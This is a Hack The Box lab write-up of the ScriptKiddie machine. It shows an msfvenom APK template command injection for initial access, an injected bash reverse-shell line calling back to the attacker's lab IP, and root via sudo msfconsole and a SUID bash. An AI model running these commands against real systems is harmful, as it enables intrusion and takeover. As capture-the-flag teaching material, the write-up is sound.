Posts Hackthebox Scriptkiddie writeup
Post
Cancel

Hackthebox Scriptkiddie writeup

Introduction@Scriptkiddie:~$

Column Details
Name ScriptKiddie
IP 10.10.10.226
Points 20
Os Linux
Difficulty Easy
Creator 0xdf
Out On 06 Feb 2021

Pwned

Recon

Nmap

Nmap

So basically Two ports are opened 22:ssh 5000:http

Port-80

There is a kid hacking tools page.

scriptkiddie.htb

Let's try to create a payload.

scriptkiddie.htb

It's give us payload details and download link.

1
2
3
4
5
6

payload: android/meterpreter/reverse_tcp
LHOST: 10.10.14.22
LPORT: 4444
template: None
download: cea6b824059f.apk
expires: 5 mins
                                                                

scriptkiddie.htb

Let's search on google for msf template exploit or CVE.

scriptkiddie.htb

Link : msfvenom APK Template Command Injection

Let's create a apk for getting rev shell.

For that let's open msfconsole.

1

msfdb run
                                                                

scriptkiddie.htb

1
2
3
4
5
6

use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
options
set FILENAME dedsec.apk
set LHOST 10.10.14.22
set LPORT 9001
run
                                                                

scriptkiddie.htb

It give us a path were he stored apk file let's upload that apk file on port 5000 and get our rev shell

But first open a netcat listner.

scriptkiddie.htb

Let's upload that file on port 5000.

Imp : When you upload the file make sure you set lhost to 127.0.0.1.

1
2
3

os : android
lhost : 127.0.0.1
dedsec.apk
                                                                

scriptkiddie.htb

After click on generate let's check our netcat listner.

And we got the shell as kid.

scriptkiddie.htb

Let's first stabilize the shell.

scriptkiddie.htb

And get our user.txt.

scriptkiddie.htb

Privilege escalation

After little bit of enumeration i found an interesting file called scanlosers.sh.

scriptkiddie.htb

After reading the code i known that if we put content inside the hackers file it will be execute as pwn user.

But first let's change our shell to the ssh connection for that we need to put our ssh key inside /home/kid/.ssh/authorized_keys file.

scriptkiddie.htb

After some hit and try i found a way to get rev shell through hackers file.

Just put the content inside hacker file with double spaces and get your rev shell.

1
2
3
4
5

pwd
ls
echo "  ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.22/9002 0>&1' #" >> hackers

nc -nvlp 9002
                                                                

scriptkiddie.htb

And we got the shell as pwn user.

Before run LinEnum script let's check manually with sudo -l command.

scriptkiddie.htb

This is very simple privexec we use msfconsole to run root commands.

1
2

sudo msfconsole
id
                                                                

scriptkiddie.htb

1
2
3
4
5
6
7

chmod +s /bin/bash
exit
/bin/bash -p
id
cd /root/
ls
cat root.txt
                                                                

scriptkiddie.htb

Root.gif

And we pwned it …….

If u liked the writeup.Support a Student to Get the OSCP-Cert Donation for OSCP

Resources

Topic Url
msfvenom APK Template Command Injection https://www.rapid7.com/db/modules/exploit/unix/fileformat/metasploit_msfvenom.......
This post is licensed under CC BY 4.0

Hackthebox Jewel writeup

Fortress Reel2 writeup

© 2020 Dedinfosec . All rights reserved.